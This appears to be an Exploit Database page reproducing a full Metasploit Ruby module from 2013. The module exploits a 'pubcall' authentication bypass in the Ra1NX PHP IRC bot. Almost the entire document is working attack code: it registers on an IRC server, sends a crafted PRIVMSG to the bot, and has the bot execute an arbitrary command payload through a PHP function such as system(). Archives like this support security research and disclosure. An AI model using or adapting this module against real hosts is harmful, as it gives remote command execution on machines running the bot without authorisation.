Ra1NX PHP Bot – pubcall Authentication Bypass Remote Code Execution (Metasploit)

• Exploit Database
• 37 阅读

• 作者： bwall
  日期： 2013-03-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/24883/

• # Exploit Title: "Ra1NX" PHP Bot pubcall Authentication Bypass Remote Code Execution
  # Date: March 24, 2013
  # Exploit Author: bwall
  # Software Link: https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0
  # Version: v2.0
  # Tested on: Ubuntu
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => '"Ra1NX" PHP Bot pubcall Authentication Bypass Remote Code Execution',
  			'Description'=> %q{
  					This module allows remote command execution on the PHP IRC bot Ra1NX by
  					using the public call feature in private message to covertly bypass the
  					authentication system.
  				},
  			'Author' =>
  				[
  					'bwall <bwall[at]openbwall.com>' # Ra1NX analysis and Metasploit module
  				],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					['URL', 'https://defense.ballastsecurity.net/wiki/index.php/Ra1NX_bot'],
  					['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0'],
  					['URL', 'http://ddecode.com/phpdecoder/?results=8c6ba611ea2a504da928c6e176a6537b']
  				],
  			'Platform' => [ 'unix', 'win'],
  			'Arch' => ARCH_CMD,
  			'Payload'=>
  				{
  					'Space'=> 344,
  					'BadChars' => '',
  					'DisableNops' => true,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  						}
  				},
  			'Targets'=>
  				[
  					[ 'Ra1NX', { } ]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'March 24 2013',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				Opt::RPORT(6667),
  				OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
  				OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
  				OptString.new('RNICK', [true, 'Nickname of Target IRC Bot', 'jhl1']),
  				OptString.new('PHP_EXEC', [true, 'Function used to call payload', 'system'])
  			], self.class)
  	end
  
  	def check
  		connect
  
  		response = register(sock)
  		if response =~ /463/ or response =~ /464/
  			print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
  			return Exploit::CheckCode::Unknown
  		end
  		confirm_string = rand_text_alpha(8)
  		response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n")
  		print response
  		quit(sock)
  		disconnect
  
  		if response =~ /#{confirm_string}/
  			return Exploit::CheckCode::Vulnerable
  		else
  			return Exploit::CheckCode::Safe
  		end
  	end
  
  	def send_msg(sock, data)
  		sock.put(data)
  		data = ""
  		begin
  			read_data = sock.get_once(-1, 1)
  			while not read_data.nil?
  				data << read_data
  				read_data = sock.get_once(-1, 1)
  			end
  		rescue EOFError
  		end
  		data
  	end
  
  	def register(sock)
  		msg = ""
  
  		if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty?
  			msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
  		end
  
  		if datastore['NICK'].length > 9
  			nick = rand_text_alpha(9)
  			print_error("The nick is longer than 9 characters, using #{nick}")
  		else
  			nick = datastore['NICK']
  		end
  
  		msg << "NICK #{nick}\r\n"
  		msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
  
  		response = send_msg(sock,msg)
  		return response
  	end
  
  	def ra1nx_command(sock)
  		encoded = payload.encoded
  		command_msg = "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @#{datastore['PHP_EXEC']} #{encoded}\r\n"
  		response = send_msg(sock, command_msg)
  		return response
  	end
  
  	def quit(sock)
  		quit_msg = "QUIT :bye bye\r\n"
  		sock.put(quit_msg)
  	end
  
  	def exploit
  		connect
  
  		print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
  		response = register(sock)
  		if response =~ /463/ or response =~ /464/
  			print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
  			return
  		end
  
  		print_status("#{rhost}:#{rport} - Exploiting the Ra1NX bot...")
  		ra1nx_command(sock)
  
  		quit(sock)
  		disconnect
  	end
  end